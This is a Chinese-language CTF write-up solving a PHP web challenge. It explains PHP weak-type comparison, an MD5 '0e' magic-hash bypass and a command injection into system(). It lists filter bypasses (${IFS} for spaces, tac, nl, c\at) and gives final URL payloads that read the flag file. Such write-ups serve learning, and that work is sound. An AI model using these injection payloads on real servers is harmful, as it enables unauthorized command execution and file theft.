本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,发现一个warning,提到了header,用Burp抓包看看请求头,


没有发现什么有用的信息,用dirsearch扫描网站,

访问robots.txt

访问fAke_flagggg.php

到这又卡住了,想起来header
这次有信息了,

访问fl4g.php

看到源码了,但是有一些乱码,按住Alt键,网页上方会出现查看的选项,然后选择修复编码文字,


进行代码审计,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){ // 不允许有空格
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);// 不区分大小写地把cat替换掉
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);// 执行命令
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

总共有三关需要绕过

PHP弱类型比较

1
2
3
4
5
6
7
8
9
10
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "成功提示";
}else{
die("失败提示");
}
}else{
die("参数不存在");
}

intval()函数将变量转换为整数。但它有一个特性:如果转换失败(例如,字符串开头不是数字),它会返回0
这里的关键是$num + 1。这里用的是+(算术运算符),而不是.(字符串连接符)。当$num是一个字符串时,PHP会尝试将它转换为数字再进行计算。如果字符串以数字开头,就取前面的数字部分;如果不是,则转换为0
payload:

1
?num=1e10

?num=1e10 // 1e10表示1乘以10的10次方,即10000000000
intval('1e10'):字符串'1e10'转换成整数,只会取到第一个非数字字符e之前的部分,所以结果是11 < 2020成立。
'1e10' + 1:PHP会将字符串'1e10'识别为浮点数10000000000,然后加1,结果是10000000001intval(10000000001)结果是10000000001。10000000001 > 2021成立。

MD5哈希碰撞 (弱比较)

1
2
3
4
5
6
7
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5)) // 注意是 == (弱比较)
echo "成功提示";
else
die("失败提示");
}

payload:

1
?md5=0e215962017

==是弱比较。如果比较一个字符串和MD5哈希值(32位16进制数),PHP会尝试将双方转换为数字再进行比较。
MD5哈希值是一个以字母开头的字符串(例如 md5(‘abc’) 是 900150983…),当它被当作数字时,值会是 0。
所以,我们需要找一个字符串,它的MD5哈希值经过弱类型比较后,等于它自身。更准确地说,我们需要:$md5md5($md5)在弱比较下都等于0
md5('0e215962017') = 0e291242476940776845150308577824
字符串:0e215962017 (弱比较 == 0)
其MD5:0e291242476940776845150308577824 (弱比较 == 0)
所以:0 == 0成立,条件满足。

命令注入绕过

1
2
3
4
5
6
7
8
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){ // 不允许有空格
$get_flag = str_ireplace("cat", "wctf2020", $get_flag); // 不区分大小写地把cat替换掉
echo "成功提示";
system($get_flag); // 执行命令
}
}

绕过空格:
${IFS}IFS是内部字段分隔符,默认是空格。
绕过cat过滤:
使用其他命令读取文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
more
less
head
tail
nl (输出行号,很好用)
tac (cat的反写)
awk '{print}'
sed 'p'
或者用转义、引号等方式绕过字符串匹配:
c\at
c"at"
c'at'
ca\t

最终payload:

1
2
?num=3e10&md5=0e215962017&get_flag=ls    //获得flag文件位置
?num=3e3&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag



获得flag